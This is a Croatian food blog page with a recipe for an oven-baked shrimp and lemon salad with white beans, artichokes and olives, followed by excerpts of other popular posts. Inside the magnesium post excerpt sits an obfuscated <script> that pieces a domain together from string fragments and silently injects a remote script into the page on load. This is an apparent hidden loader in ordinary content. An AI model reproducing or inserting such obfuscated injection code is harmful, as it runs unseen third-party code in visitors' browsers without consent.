OSVJEŽAVAJUĆA SALATA S KOZICAMA I LIMUNOM 🍋 🥗




Osvježavajuća salata s kozicama i limunom 



Svježina i citrusne note glavne su zvijezde ovog recepta s kozicama pripremljenog u pećnici, koji djeluje istovremeno zasitno i lagano. Osnovu čine kremasti bijeli grah, mekana srca artičoka i maslaste masline.




Osvježavajuća salata s kozicama i limunom 


Sastojci:

  • 2 srednje velika limuna


  • 2 konzervirane limenke (od oko 420 g) bijelog graha, ocijeđenog i ispranog


  • 1 konzervirana limenka (od oko 400 g) četvrtina mladih artičoka, ocijeđenih


  • 1 velika ljutika (ljutika/šalotka), tanko narezana (oko 1/2 šalica)


  • 2 velika češnja češnjaka, tanko narezana (oko 1 žlica)


  • 1/2 šalica pilećeg bujona


  • 1/2 šalica grubo nasjeckanih maslina bez koštica


  • 1 žlica grubo nasjeckane svježe majčine dušice, plus dodatno za ukrašavanje


  • 1/4 žličice drobljene crvene papričice, plus dodatno za ukrašavanje


  • 2 žličice krupne soli, podijeljeno


  • 5 žlica ekstra djevičanskog maslinovog ulja, podijeljeno


  • 700 g velikih kozica, očišćenih i oguljenih


  • Naribana limunova korica, za ukrašavanje


  • Hrskavi pečeni kruh, za posluživanje (po želji)




Priprema:

Zagrijte pećnicu na 230 °C s rešetkom postavljenom u gornju trećinu pećnice. Jedan limun narežite na tanke kolutove. S drugog limuna naribajte koricu i iscijedite sok kako biste dobili 2 žličice korice i 2 žlice soka. Sačuvajte za kasnije.


U posudi za pečenje dimenzija približno 33×23 cm pomiješajte grah, srca artičoka, ljutiku, češnjak, bujon, masline, majčinu dušicu, crvenu papričicu i 1 žličicu soli. Preko mješavine graha poslažite kolutove limuna u ravnomjernom sloju.


U srednje velikoj zdjeli pomiješajte 2 žlice maslinovog ulja, pripremljenu limunovu koricu i preostalu 1 žličicu soli. Dodajte kozice i dobro promiješajte kako bi se ravnomjerno obložile. Poslažite kozice u ravnomjernom sloju preko kolutova limuna u posudi za pečenje. Posudu čvrsto prekrijte aluminijskom folijom.


Pecite u pećnici dok se mješavina graha ne ugrije, a kozice budu gotovo pečene, oko 20 minuta. Uklonite i bacite foliju; vratite u pećnicu i pecite dok kozice ne postanu neprozirne i potpuno pečene, još oko 5 minuta. Ostavite da odstoji 5 minuta prije posluživanja.


Preko kozica prelijte sačuvani limunov sok i preostale 3 žlice maslinovog ulja. Ukrasite dodatnom limunovom koricom, majčinom dušicom i drobljenom crvenom papričicom. Poslužite uz hrskavi pečeni kruh, po želji.




Pripremila: Ivana Matas 


Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više